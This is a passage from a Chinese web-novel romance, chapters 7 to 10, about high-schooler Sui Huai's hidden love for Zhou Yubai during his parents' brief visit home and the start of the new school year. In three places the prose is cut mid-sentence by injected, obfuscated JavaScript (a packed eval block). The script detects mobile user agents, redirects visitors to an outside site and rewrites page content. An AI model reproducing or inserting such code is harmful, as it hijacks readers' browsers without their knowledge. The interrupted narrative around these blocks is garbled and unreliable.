《交错体温[追妻]》 7. 避之不及 岁淮补作业的这几天,勤勤恳恳,偶尔跟章盈和余伟两个在小分队的群里插科打诨,程清池照例只在线不说话,@他一下才吱个声儿,话题往往都被周聿白终止,逮着岁淮去写卷子。 紧赶慢赶,岁淮在暑假倒计时的第三天完成了作业。 当晚就接到了周盛巡和钟晴要回来的电话。 这是夫妻俩的习惯。 科考工作紧张也危险,周盛巡和钟晴一年里就没着过家,随时随地穿梭在沙漠和雨林里,除了逢年过节,也就周聿白和岁淮开学的时候抽空回来一趟。 每到这个时候,都是岁淮最亢奋的日子。 “周聿白周聿白周聿白——”岁淮举着电话从客厅跑上二楼,拖鞋哒哒哒地响,“周聿白周聿白周聿白。” “叫魂啊。” “快出来,叔叔阿姨来电话了。” 周聿白刚洗完澡,头发还湿淋淋的挂着水珠,正在往身上套睡衣。少年身材清瘦却不单薄,线条清晰,腹肌恰好分明,闻声套衣服的动作咻的一下加快,打开躺在一边的手机,上面有一个周盛巡的未接来电。 周聿白走出去,岁淮正两手撑在旋转梯上,两条腿一高一低地轻轻踮着,“你们明天几点的飞机呀?” “那我跟周聿白一起去接你们。” “起得来!” “嗯,我跟周聿白都有乖乖听话噢。” “他在洗澡,我喊他快点出来。”岁淮一转身,就看见周聿白跟个大老爷似的靠在门边,抱臂,仰着下巴笑得不行,“岁啊,你这乖的我都有点不习惯了。” 岁淮瞪他一眼,“快点接电话,叔叔说刚打你手机没人接。” 周聿白慢悠悠地接过来,打开听筒:“爸,妈。” “你小子在家没欺负岁岁吧。” “哪敢啊。” 周盛巡哈哈笑两声,背景音还有些滋啦滋啦的杂音,可能还在某个考察地,信号不是太好,他长话短说:“明早我跟你妈九点半的飞机,你跟岁岁来机场接。” “好,”顿了顿,周聿白问,“这次回来待几天?” “两天,之后得赶回基地,跟团队启程去冰岛。” 周聿白漫不经心地垂下眼,想着两天也还好,知足了。他淡淡地“嗯”了声,“回家注意安全。” 电话挂断。 岁淮扯住周聿白的胳膊蹦跶,秦王绕柱似的围着周聿白不停地转,“叔叔阿姨要回家了,你知道吗周聿白,刚阿姨说给你拍了上回在纪录片看见的环尾獴,很近很清晰!还说给我带了针叶林的一种树叶标本,很硬不用怕碎掉的那种!” 周聿白被她晃得像不倒翁,“晕死了。” 岁淮看他那淡定样,停下动作,歪着脑袋:“叔叔阿姨要回来了,boy,距离上次他们回家已经过了四个月!Boy,难道你就不激动不期待不兴奋吗,boy?” “girl,你再晃boy就要动手了。”周聿白坏劣地恐吓她一下,无奈地笑,“行了早点睡,明早八点出发去机场。” “YesSir.”岁淮立正,笑嘻嘻地敬了个礼。 - 盛夏明媚,风过林梢。 去往机场的路上畅通无阻,高楼大厦鳞次栉比,巨大的LED屏幕播放着当下最火爆的乙游男主,公交车站牌换新了最新一季的当红女idol,街边的糖炒栗子香味从车窗里飘进来,馋的人垂涎欲滴。 到了机场,岁淮和周聿白站在最明显的位置,一波又一波的人从眼前略过。 九点五十分,机场出口走出一对夫妻。 周盛巡身材挺拔,长相清俊,左手拉着行李箱,右手搂着钟晴的肩,在原地逡巡一周,看见岁淮和周聿白两个小孩儿的时候,心情明显高昂起来,挥了挥手:“小聿,岁岁!” 岁淮拽起周聿白的手,一起挥着,“这里这里!” 钟晴冲过去一把抱住两小孩儿,捏捏岁淮的脸说她瘦了,又变漂亮了。拍拍周聿白的肩膀说他又长高了,别是要往两米蹿吧,不得了,周家要出一个篮球明星。 周盛巡松开行李箱,大步过去,岁淮两眼亮晶晶地喊了声“叔叔”,周盛巡摸了摸她的脑袋。 周聿白还是那淡定样,单手揣兜,“爸,妈。” 周盛巡肯定妻子的话:“小子确实长高不少啊,多高了?” “一八七。” “你妈说的对,估计还得长。” “别长了,再长床睡不下啦。”岁淮笑嘻嘻地插嘴,然后揽住钟晴的胳膊,“阿姨,好想你。” 钟晴被小姑娘软软的声音感动化了,“上次你不是想要叶子书签吗,阿姨给你找来了,巴掌那么大,硬质的,别人有的咱们岁岁也得有。” “呜呜呜阿姨我爱你。” “喂,”周聿白无奈,“母上大人和公主殿下得深情告白到什么时候,再不走人家安保要来撵了。” 钟晴打了下周聿白的胳膊,“煞风景。” “不过有一说一,”钟晴笑,“我儿子越长越帅啊,有没有小姑娘追你?” 周聿白:“……” - 别墅里难得热闹,人气儿十足。 机场回来的路上,周盛巡下车买了三斤糖炒栗子,整个别墅都是浓郁的栗子香味。 钟晴跟岁淮在厨房里做点心,面包机和烤箱相继“叮咚”一声,面包的松软甜香弥漫在整个厨房里。没一会儿又是锅碗瓢盆叮铃哐啷响,还有钟晴用菜刀剁在砧板上的闷响,速度快得起了虚影,岁淮在旁边看的心惊,直呼“慢点慢点”。 周盛巡和周聿白在客厅剥糖炒栗子。 父子俩不知不觉剥了一整盘。 周盛巡打开电视,调到一个纪录片,,画面里是某地的河流三角洲,涨潮时期过了,耐盐碱和根系较浅的树林和灌木就露了出来,上面栖息着很多鸟类。 周盛巡看着儿子帅气安静的样子,想起来一件事儿,从包里拿出几张照片:“这是上回拍的环尾獴。” 照片里的小环尾獴像个炸毛的小刺猬,弓起背,毛高高竖起来,还挺可爱。 “谢谢爸。”周聿白接过来,一张一张地翻看,然后收进他的“储存卡”。 那是一本卡片集,里面收集的是各种动植物的照片,还有风景照,周聿白从小时候就开始收集了,现在已经厚的像字典。岁淮经常说这本相册集以后要是当作传家宝流传下去,没准过个几百年还能值大钱,周聿白骂她财迷。 岁淮从厨房里探出半个脑袋,“叔叔,你们下次出发去哪里啊?” 周盛巡没说出地点,保密工作不透露,只说了大概,笑笑道:“苔原研究动物种类,麝牛听过吗?” 岁淮摇摇头。 “就是这些动物,看,像不像牦牛?”周盛巡招手让她过来,岁淮两手撑着沙发,从父子俩背后弯腰看。 “像,”岁淮指了指白白胖胖的一只大鸟,“这个好像猫头鹰。” 周聿白扑哧一声嘲笑:“那是雪鸮。” 岁淮:“……” 她羞恼地用手打了他一下。 钟晴从厨房端出水果,看周聿白那欠揍的样子,骂他:“混球别欺负岁岁。” “我哪欺负了,我这是科普。”周聿白说。 “混球顶嘴了啊。”钟晴威胁。 周聿白举手投降,钟晴拿叉子叉了块小番茄堵他嘴里,周聿白酸的皱了下眉毛:“妈,很酸的。” “酸不死你。” “……” 一家人其乐融融地用了午饭。 饭后钟晴和周盛巡去了书房跟团队视频,人是回来了,任务还在身上,要商讨后天启程的计划。 周聿白在客厅看纪录片,手上也没闲着,在那剥糖炒栗子。见岁淮捧着一杯椰奶上楼,拍了拍手上的碎屑,叫住她,“这个拿上去,困了就吃点。” 岁淮:“什么叫困了就吃点,照你这个说法,那我一天就能胖一斤。” “所以让你犯困的时候吃一个,精神点,继续做题。” “哇,你真的是魔鬼啊,我都困成那样了你还要我做题?”岁淮一副痛心疾首的样子,“我今天四张卷子一点没动,现在都三点半了,肯定十点半前写不完……”她吸了口椰奶喝,讨好笑,“就不能稍微,稍微通融一下?” 周聿白把糖炒栗子塞她手里,冷酷无情:“不能,必须写完,十点半我去检查。” 然后人又懒洋洋地坐回沙发上,翘着二郎腿,脸色淡着,调了个综艺看,漫不经心地说:“写不完有你受的。” 岁淮就见不惯周聿白这股邪性,老神在在地坐着,什么也没干,但是他身上就是有那么一股勾人的劲儿。不说让你一眼就能喜欢上他,但就是会被他吸引住,忍不住想去观察他平淡的脸色下,是一颗同样平淡到无甚情绪的心,还是他根本一个恶劣得不行、就喜欢看你被他勾着去好奇去探索的混蛋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252545|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长得一副无欲无求的冷淡皮囊,合着那欲望都叫别人长着了,就是被他勾的!男妖精! 岁淮撇嘴:“男妖精。” 周聿白啧了一声,“能耐了是吧。” 岁淮拿了一颗糖炒栗子丢他,“没人性的混球。” 周聿白慢悠悠地接住,丢进嘴里,继续翘着二郎腿看电视,真就坏的都比别人坦荡。 岁淮上楼刷题了。 客厅只剩下周聿白一个人看电视。 田园综艺向来无聊,里面的嘉宾正在谈论一个话题,接不接受姐弟恋。一对明星夫妻笑着说没什么不接受的,他们就是姐弟恋,老公很成熟稳重,把姐姐的老婆宠成小公主,最后总结说“爱情跟年龄无关”。有个年轻的嘉宾煞风景地插了一句,说年龄差的不多可以产生爱情,差的太多她没法儿接受,老牛吃嫩草。许是感受到氛围的尴尬,一个女演员出来打圆场,“哈哈,可以差六岁,也可以差六百岁,但不能差六十岁……” 周聿白扯了扯嘴角。 他低头翻了翻岁淮今天做的四套卷子的答案,都在手机的PDF里,扫了几眼,心里大约有个数了,能推出岁淮哪些题会错,为什么错,错了几遍。 周聿白从不要求岁淮必须考多少多少分,也从不会拿着岁淮升了几名降了几名说事,他关注的从来都是她有没有认真学,那个认真的力度到了几分,是十分还是五分。如果岁淮用尽了十分的力气也只有一般的成绩,周聿白会对她夸夸,咱家岁岁就是厉害。如果岁淮只有五分的力气,就算那分数再高顶破了天,他也只是淡淡地反问她一句:“如果这科再多考个十分,你不喜欢的理综就可以少考十分,这笔买卖做不做?” 当时岁淮看出周聿白的严肃,也跟着收起了笑,“做。” “做不做不靠嘴上说,得看你的实际行动,你知道这一个‘做’字代表什么吗?”周聿白口吻很淡,听不出是欣慰还是劝告,“代表着从今天开始,你的语文选择题十三个你只能错一个,不是这一次,也不是下一次,是一直到高考的每一次。” “我知道。” “数学选择填空满分八十,你至少要在六十五朝上,意味着从今往后你的每一次试卷错误率得在三个和三个以下。这不光是质的提升,还有大量重复的练习,你得让你的肌肉记忆达到看见那道题你就知道他妈是谁,他兄弟姐妹都有谁,闭着眼睛靠自觉都能选出正确答案。” 当时刚上高二的岁淮第一次见到那般严肃的周聿白,她有直觉,如果她没有给他一个肯定的回答,周聿白不会对她失望,也不会逼她,依旧会跟以前一样随着她怎么高兴怎么来,怎么轻松怎么学。但是人生是自己的,后面的果是好果还是坏果,也得自己跪着接住,周聿白不会袖手旁观,他依然会帮着你,但是最后难受的还是你自己,因为你会一点点地亲眼看着自己跟周聿白的差距不断拉大,从几米到几十米,在从地面到热气球乃至飞机,等他飞到你再也追不上的高度,纵使他有心朝你伸手,你也没有奔向他的路。 周聿白是清醒且残忍的。 同时,对于岁淮来说,他也是最诚实最坦白,最为你着想的。 所以那次岁淮郑重无比地点了头,她说:“我能做到。” 周聿白对她笑了一下,像是松了一口气:“我会帮你,咱家岁岁很棒的。” 于是高二的一整年里,岁淮该去了高一的学习方式,在紧锣密鼓的学习中加大强度和压力,除了本就不错的英语,语数两大主科提高了很多,这也是把她从一本线边儿上提到一本超线几十分的原因。 电视里的综艺吵吵闹闹。 不知道聊到什么话题,突然放大的音效有些刺耳。 周聿白出了好一会儿的神,综艺放的什么一点没看进去,拿着遥控器要去关,突然就被屏幕上那句话给说顿住了。 女嘉宾:“妹妹对哥哥产生了感情。” 男嘉宾:“那是依赖。” 女嘉宾:“那是喜欢,你看她对别人就不。” 男嘉宾:“电影说了哥哥一家从小把妹妹捡回去,肯定跟别人不一样啊。” 女嘉宾:“你们直男不懂,妹妹就是喜欢哥哥。” 男嘉宾:“不信,看电影后面怎么说。” 周聿白手在半空中顿了数秒,不知道踩了哪颗雷,他眉头皱得特紧,利落地换了频道。 似是这种感情于他来说,如洪水猛兽。 避之不及。 8. 占有欲 晚上吃饭的间隙,岁淮下了一趟楼,其余时间都在房里刷题。 钟晴和周盛巡看在眼里,惊讶小姑娘这回怎么这么用功。周盛巡笑着说:“你小子给岁岁灌了什么迷魂汤,你妈刚刚还说岁岁都不陪她说话了。” “高三了,她得抓紧点儿。” “也是。” “妈呢?” “楼上捣鼓给岁淮买的东西呢,还有给你买的几本书,你上去看看。”周盛巡偷偷望了眼楼上,见钟晴没出来,往周聿白那儿靠了靠,低声说,“多去陪陪你妈,她很想你们的,就是嘴硬不说。每次离开家的时候跟你们笑,上了飞机就开始哭,跟我说对不起孩子,从小到大就好好陪过一回。” 周聿白垂着眼,沉默着,“我没有怪你们的意思。” “你妈她怪自己。” 周盛巡搂住周聿白的肩,小时候对周聿白来说宽阔的肩膀,现在甚至都快罩不住他,“还记得你小学发烧晕倒的那次吗,我跟你妈连夜赶回来,她一路都在哭,说她不是一个好妈妈,等回到家小聿肯定不喜欢她了,不要她这个坏妈妈了。后来我们来了家,还想着儿子要是发脾气怎么办,你妈担心一路,结果打开门就看见你一把抱住我俩的腿,脸上还被烧得通红,就在那傻乐,说爸爸妈妈你们回来啦,说生病真好,一生病就有爸爸妈妈看,给你妈大半夜哭得不成样子。” “嗯。” - 周盛巡和钟晴的房间是整栋别墅最大的一间,里面除了睡觉的卧室,还有专门的储藏室,那里长年上锁,是一种摩斯密码锁,安全系度很高,里面放着很多他们这些年在外科考的保密资料。只有周盛巡和钟晴回来的时候才会打开,经常亮一晚上的灯,周聿白和岁淮从来不随便打扰。 周聿白敲了敲主卧室的门。 里面没动静。 反倒是岁淮的房间里咚咚响,时不时传出些放肆的笑声。 “阿姨,这个会不会被掰掉啊?”卧室里,岁淮两条胳膊摆在书桌上,十个手指头都贴上了粉白色的甲片,左手已经做好了美甲,布灵布灵的,在灯光下耀如钻石,右手还有无名指和小拇指在钟晴手里慢慢地画图案。 “不会,放心吧,阿姨技术好着呢。” 岁淮不老实地动了动小拇指,“那会不会卡头发,早上时候头发卡在指甲里?” “那倒可能。”钟晴看了眼小姑娘洗完澡后自然垂在胸前的头发,乌黑条顺的,看着乖得不行,“咱家岁岁是大姑娘了,长得真水灵。阿姨跟你说啊,在学校里你这种女孩子最招人惦记,你可千万不要被那些坏小子骗了啊。” 岁淮没说学校里还真有一个坏小子惦记她,追了她两年了,高一到现在一直阴魂不散。岁淮苦恼得很,想到过两天开学就要看到他,有些头疼,而且之前就为这事儿,周聿白还发过一次火,跟那坏小子结下了梁子。 她叹口气。 “怎么了,难道还真有坏小子打你心思啊,”这下钟晴来劲了,岁淮最后一个小拇指被她弄好放在一边,“跟阿姨说说,帅不帅?成绩好不好?人怎么样?” 岁淮欣赏着自己布灵布灵的指甲,“我不喜欢他。” 钟晴本就想跟岁淮聊聊闲话,这一听忽然问出了点别的味道出来,“咱们岁岁这是有喜欢的男孩子啦?” 刚走到房门口要敲门的周聿白停了手。 他倚在房门,不知从哪来的一股阻力让他就站在原地,听着里面的岁淮有了反应—— “嗯。”她低低地回了声。 “是谁啊,同班同学?” “……不是。” “是小聿——”钟晴话才开了个头,就被岁淮匆忙打断,她坚决否定道:“不是周聿白!” 里面的钟晴像是被她逗笑:“阿姨当然知道不是他了,他那个德行那配得上咱们家漂亮又水灵的岁岁,阿姨是问你喜欢的那男生是不是小聿的朋友,要是的话,正好让他给你把把关。” “……周聿白不认识。” “这样啊,那好吧。阿姨相信咱家岁岁有自己的想法。”钟晴忽然又开始八卦,“那小聿在学校有没有小姑娘追?” 岁淮:“没有。” “怎么会,这混小子虽然吊儿郎当的,但脸随他爸长得帅啊,怎么就没人追呢。” 岁淮哭笑不得:“阿姨,现实生活里的学校哪跟电视上那样啊,我们学校没几个谈恋爱的,早恋抓得很严。上学期有两个学生就在运动会上瞄了两眼,被教导主任逮着了,还叫了家长呢。周聿白这种走出去算得上风云人物的好学生,大家都不敢搭讪,老师一盯一个准。” 这么一提,钟晴才记起来高一的那出笑话,“也对,高一那回你跟小聿刚上高一,我跟老周也忘了跟学校和老师说明下咱家的情况,结果你俩同进同出勾肩搭背的,班主任还以为你俩早恋,两个人谁都要请家长,好了,一个叫老周,一个叫我,两个人请过来大眼瞪小眼,差点把一办公室的老师都笑掉大牙。” 周聿白听到这里无奈地敲了下门,没进去,两手揣兜靠在门边,“记错了吧,一办公室的老师是笑您来得太急,结果袜子都穿错了,一只白的一只黑的。” “有吗?”钟晴疑惑,“另一只袜子呢?” “我爸脚上。” “……” 岁淮扑哧笑出声,两只做了美甲的手微微晃着,衬得皮肤白皙如玉。 三个人聊了好一会儿,钟晴看了眼时间才依依不舍地离开。 钟晴一走,后盾没了,岁淮又苦哈哈地被周聿白提溜着检查卷子。 周聿白主要检查数学大题和英语改错,扫了几眼,错误率在他估算之内,“还行。” 岁淮:“那——” “过了。” “耶斯!” 等周聿白圈出几道错题,合上试卷放在一边,岁淮把自己的美甲伸过去显摆:“阿姨刚给我做的,好不好看?” “嗯,”周聿白认真评价,“比上次你跟章盈做的那次好看不少。” 岁淮吐槽了他一句“别哪壶不开提哪壶”,就在她继续欣赏自己布灵布灵的美甲时,突然听见周聿白漫不经心地说了句:“你有喜欢的男生怎么不告诉我。” 手顿住,呼吸屏住,大脑宕机。 岁淮手足无措。 周聿白看她惊慌的样子有些好笑,一手撑着头,懒散道:“又不是什么见不得人的事,至于吓成这样?我妈都能知道,我有什么不能知道的。” 岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岁淮觉得这一刻的她是个怪物,或者说,心里那个住了很久的怪物此刻暴露本性钻了出来,正在她脑海和胸膛里张牙舞爪,怂恿她,催促她,逼着她去跟周聿白问清楚,什么叫做“我也可能会有喜欢的女孩子”。就这么简单的一句话,莫名其妙点燃了岁淮心里的火药桶,不是怒意,不是嫉妒,而是茫然和慌乱。 因为一直以来,岁淮好像忽略了一件事。 那就是。 无论她喜不喜欢周聿白,都与周聿白本人无关。 所以。 周聿白喜欢谁,什么时候喜欢,喜欢到什么程度,是觉得喜欢就在一起试试的随意心态;还是在一起就公开,亲手拥抱接吻做|爱每一步都循序渐进、小心翼翼、郑重无比,一到毕业就领证结婚的程度……而这一切,都与岁淮无关。 啪啪啪。 周聿白的房门被岁淮拍了几声。 打开门,周聿白睡眼惺忪,左耳还挂着一个耳机,他有睡前听ASMR入眠的习惯,“怎么了?” 岁淮脸色很淡,像是问一句明早吃什么早餐:“你喜欢谁?” 少年迷蒙着眼,像是没反应她的话。 岁淮又定声复述一遍:“你有喜欢的人吗?” 周聿白愣了愣,而后摇头,“没。” “为什么?” 周聿白眼神清醒了些,正要说话,岁淮忽然上前一步,一直紧贴着大腿的手用尽所有的力气般,向周聿白的腰伸去。 她要抱他。 她想占有他。 周聿白。 我要你是我的。 9. 人渣 就在快要搂上的前半秒,钟晴的讶异声传过来:“兄妹俩又说什么悄悄话呢。” 轰地一声。 一股凉意从头蔓延到脚。 岁淮猛地清醒过来,快要贴上周聿白腰的手改成拍了下周聿白的肩膀,压下心底无尽的惊涛骇浪,恢复成平常的蛮横霸道:“好了,你刚问我这么私密的问题,现在我问回来了,扯平了。” 周聿白静静地看着她,半晌道:“小气鬼啊。” “略略略。”岁淮冲他做了个鬼脸,朝钟晴说了句“马上就睡了”,转身就走。 忽然身后人悠哉地补了句。 “因为没遇见喜欢的。” 虽然周聿白没喜欢过谁,但他早熟,情感问题他很早就想过。他是个理想主义者,对待感情这种事格外天真,誓死打着浪漫主义的旗号,要么就不喜欢,要是喜欢就喜欢一辈子。对哪个姑娘上了心,那就认定了人家一辈子,他也没那么大度,他揣心上的姑娘眼里心里也只能放下他一个人,只能跟他一个人牵手拥抱接吻,跟他一个人睡。这样的爱情观,注定了周聿白不会随便谈恋爱,更不会随便喜欢上一个人。 浪漫主义者对待爱情,就是崇高的理想主义。 周聿白就是那个浪漫主义。 能被他喜欢上的姑娘是绝对的理想主义。 所以周聿白后面没说出来的话,岁淮也大抵明白。理想主义哪这么容易找到,那得看缘分,看运气,看感觉。 周聿白这人渣。 喜欢一个人的前提是,得对她有感觉。 - 周盛巡和钟晴走了。 别墅里又是冷冷清清,好像前两天的热闹只是浮云一场,短暂而梦幻。寻常人家的鸡飞狗跳、琐碎喧闹,在周家变得极为奢侈。 因为那晚岁淮单方面产生了矛盾。 所以两个人还僵着。 周聿白摸不透小姑娘生的哪门子气,检查试卷的时候跟她搭话也不理不睬,早晨好声好气哄了几句才太姥姥下轿似的下楼吃早餐。 钟晴和周盛巡一走,两个人的早餐就从国宴降级到早点铺子,周聿白起的也不早,买了几个煎饼油条和两杯豆浆,兢兢业业地摆好,很有服务态度意识。 听见岁淮吸溜豆浆的声音,周聿白加快手里切橘子的速度,锋利的刀刃一划,指腹渗出点血珠。刚要伸到冷水下面冲洗,又忽然转了注意,周聿白不咸不淡地叫人:“岁淮。” “……” “过来。” “……” “拿张纸,”周聿白云淡风轻地卖惨,“给你切橘子,切到手了。” 咚地一声,豆浆重重地磕在桌面,椅子滋啦一声往后挪,紧接着是岁淮哒哒哒带着怒意的着急脚步声,“你怎么回事儿,五点一的视力切个水果都能切到手,过两天就上学了周笨蛋。切哪儿了,我看看?” 周聿白半坐在台面,配合地伸手给她看,黑T顺着他的手部姿势上台,露出衣摆下的一截腰腹。纯白的大理石倒映着那截劲瘦有力的腰线,若隐若现的腹肌往上延伸着,少年冷白的皮肤和深黑的布料形成鲜明对比,岁淮只看了一眼,心就不受控地咚咚加速。 这男人真就不是个省油的灯,这都能让他身上有一股烈劲儿,叫人非得盯着他看,还不能看久了,他是老神在在浑然不觉,旁人倒是脸红心跳罪恶满满。 周聿白晃了下手吸引回岁淮的视线:“大拇指,不影响写字。” 岁淮把抽的几张纸巾给他,“流血了。” “血多,留点儿好。” 岁淮翻了个白眼:“神经病。” 周聿白笑了一声:“我是伤者,你怎么还骂人呢。” “就骂你怎么了,”岁淮板着脸,嘴上咕哝着骂周聿白眼神不好,切个菜都能割伤,手上动作倒是耐心得很,小心翼翼,生怕弄疼了他,然后低头,嘟起嘴巴吹了吹,“疼不疼啊?” 周聿白:“不疼。” 他收回了手。 岁淮看着空空如也的掌心,有些失落,装作若无其事地“哦”了声。 一场闹剧算是和好的台阶。 那场只有岁淮一个人的别扭轻松揭过,如周聿白指腹上的那滴血,轻轻一擦,没了。 - 开学前一天,夏雨来了个回马枪。 淅淅沥沥。 别墅两边的树绿意盎然,下了一场雨的仲夏变得水光碧洗,八月底的天开了一种花,今天起了风,树枝摇摇欲坠,花瓣落了满地。 周聿白是在雨势稍小一些时候出的门,站在别墅门口,手里拿着岁淮给他的一柄黑伞。 伞是前年买的了,那时候两人刚上高一,也是两个财迷刚学会赚钱小窍门的时候。岁淮赚了第一桶金,花了大价钱定制这把伞,伞柄握上去是大理石的冰凉触感,在光线下泛着玉一样的光泽感。 至于周聿白赚的第一桶金,是上网淘了一套已经绝版的小说集。那套小说集在岁淮很小的时候风靡过一阵,讲的是几个小学生和一只狗携手去各种地方冒险的故事,很有趣味性,可以说岁淮早期对文学的兴趣就是这本书培养起来的,但是后来因为一些荒唐到可笑的原因封了,绝版了。岁淮耿耿于怀了很久,没想到周聿白给她淘来了一整册。岁淮看到的那时候,要不是还有点自制力在身上,真的会冲上去不顾一切地搂住周聿白,抱着他不撒手。 雨滴滴答答顺着别墅屋檐落在地板上。 白色的地毯被周聿白沾了泥的鞋踩脏了。 岁淮静静地看着,心想阿姨应该要回来了,下次得让她换个耐脏的地毯。接着又想周聿白要回周家老宅了,那里有他的爷爷奶奶,有叔叔婶婶,有姑姑姑父,有数不清的周家人。也许还有跟周家关系很不错的世交小辈,这个青梅,那个青梅的。 她叹口气:“你什么时候回来?” 周聿白握着伞准备撑开:“不知道。我尽量早点回来。” “好吧,”岁淮有些失望,“我今天跟盈盈说了去书店,你要买什么吗?我正好一起带来,明天就要开学了。” “草稿纸吧,写完了。” 周聿白本来还是有些草稿纸的,不过最近被岁淮补暑假卷子给用完了,她扬了扬下巴,“明白。” 一辆黑车在谈话间抵达别墅院外。 车上下来一个穿着西装的男人,撑着伞站在车边,端正低调,严肃而恭敬。 岁淮眼尖地发现车身上印有一个鎏金色的“钟”字。 那是钟家的车。 钟老爷子也来安怀市了,可见周聿白这个外孙在老爷子心里有多重要,就是开个学,都要特地来看看才放心。 “走了,你跟章盈注意安全,别乱跑,有事打我电话。”周聿白交代了一句,转身,撑伞离开。 黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252547|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伞面抵挡着突然下大的雨珠,水花四溅。 有几滴雨很没眼力见地微微打湿了周聿白的肩膀,他一手撑着伞,另一只手挡了下要为他擦拭的管家,淡声道:“不用了。” 管家收回手,替周聿白打开车门,微微俯身,“少爷。” 周聿白站着没动,过了会儿回头,隔着雨幕望着还在门外的岁淮,笑了一声:“回去吧,外面冷。” 远远地,岁淮似是点了个头。 周聿白这才放心地收起伞上车,坐姿端正,没有半点放肆。车门关上的那瞬间,脸上温柔的笑意冷淡下来。 清冷的雨幕在夏天泛起微凉的气息,似酒精里掺杂着一丝冰薄荷,衬得车里的少年温矜疏淡,高不可攀。 每每这个时候,岁淮都会一遍遍地被提醒。 她跟周聿白地位悬殊。 - 周聿白没多久,岁淮一个人在别墅里坐不住,背好小包,撑着伞出了别墅。 昨晚岁淮跟章盈约的时间是十点半。 她早一步到了商场的奶茶店,给自己点了一杯贵族椰奶,给章盈点了杯茉莉花茶,然后有一搭没一搭地边玩游戏边等人。 游戏顶框弹出条微信消息。 岁淮点进去。 盈盈冲刺985:岁岁,不好意思啊,我今天忘记跟你的约会了啊啊啊啊!对不起对不起我有罪! 岁岁有钱:没事,我等你。 盈盈冲刺985:不是……我现在有约…… 岁岁有钱:好啊你,忘了跟我逛书店,跟别人有约,谁啊,余伟? 盈盈冲刺985:对。 岁岁有钱:好啊你,见色忘义! 章盈和余伟的关系微妙,两人之间就差一层窗户纸没捅破,小分队几个心里都门儿清。不过章盈这“啊,不好意思,我跟别人的的约会正好撞上和你的约会了”的话越听越渣,像个脚踏两条船的渣男语录。 岁淮愤愤地戳屏幕,噼里啪啦地打字过去:章盈你就是个渣女!!! 几秒后,她又把那行字删了。 岁岁有钱:没事,你好好吃吧,我自己去书店。你有什么要买的吗? 盈盈冲刺985:有有有,我要两2b。 岁岁有钱:……说人话。 盈盈冲刺985:哎呀就是两支2B铅笔啦,辛苦岁岁~ 岁淮:切。 新的学期开始,即将迎战下一年的高考,岁淮一口气喝了两杯奶茶,暗暗给自己打气。 ——岁淮你最棒。 玻璃窗被夏雨拍得啪啪响。 快马扬帆的青春里,少女满怀希望。 谁也不知道命运的下一刻是继续延伸着彼时的平静与幸福,还是在下一秒天翻地覆,让原本惺惺相惜的人分道扬镳,背道而驰。但她告诉自己,且视他人疑目如盏盏灯火,大胆去走自己的夜路。少年人就是要这样啊,大胆,热烈,勇敢,用理想的泰坦尼克去撞现实的冰川,去当烧赤壁的风而不是借箭的草船,要为了一片海,也敢翻万山。 所以在后来的几年里,岁淮常常想起跟今天相似的一个雨天。 微潮的夏雨。 雨珠砸得噼里啪啦的高铁站。 一封扔过来的信和银行卡。 一个心灰意冷的少女。 而在那天。 她同时失去了爱情和亲情。 10. 开学 雨后初霁。 高三开学第一天,风和日丽,一中整座校园充斥着学生熙熙攘攘的喊声,豆浆油条香从教室弥漫进走廊,几个迟到的男生飞奔着上楼,地板都在震动,其中一个停在理科(7)班的教室门口,手把着门,大喘气:“警报!老班在办公室让学委收作业了!” “卧槽!” “死了死了!” 教室里稀稀拉拉地爆出国粹声。 每回开学第一天的清晨,必定是一场硬仗,忙忙碌碌地补作业好像是每个学生都会做的事,重点中学的好学生也不例外,总有那么几个好吃懒做的家伙。 余伟首当其冲。 一手拉着章盈的语文卷瞄选择题,一手拉着岁淮的卷子抄理综,左上方是程清池的数学大题。至于周聿白的他不抄,说是大神答案痕迹太明显,抄了怕被发现。 学委刚好从办公室里回来,经过窗户看余伟恨不得长出三头六臂抄作业的狼狈样,翻了个白眼:“傻逼。” “你骂谁呢孙蕊!” “猪也想知道啊?还是快点抄你的作业吧!你抄不完我可不等你!”孙蕊略略略几声,走到讲台敲了敲黑板,“各组组长把每科的卷子收齐,登记没交暑假作业的学生名单,试卷和名单都交给课代表,课代表再交给我,快点啊。” 余伟:“卧槽,这姑奶奶认真的!” 章盈同情地看了他一眼,无情地抽走自己的语文卷,她是语文课代表,接下来有的忙了。程清池沉默地抽走了自己的数学卷,他是数学课代表。 余伟气笑了:“好好好,塑料袋都比你们的情谊深。” 转头可怜兮兮的看向岁淮,“岁岁救命。” “打住。”岁淮一根手指戳住他脑袋,以免他得寸进尺,提前讲好条件:“帮你抄作业可以,按钱计数。” 余伟不差钱,慷慨得很:“多少你说?” “五十一张。” “你怎么不去抢啊,你他妈缺钱缺疯了吧岁淮。” “那算了。”岁淮笑嘻嘻地抽走了自己的理综卷。 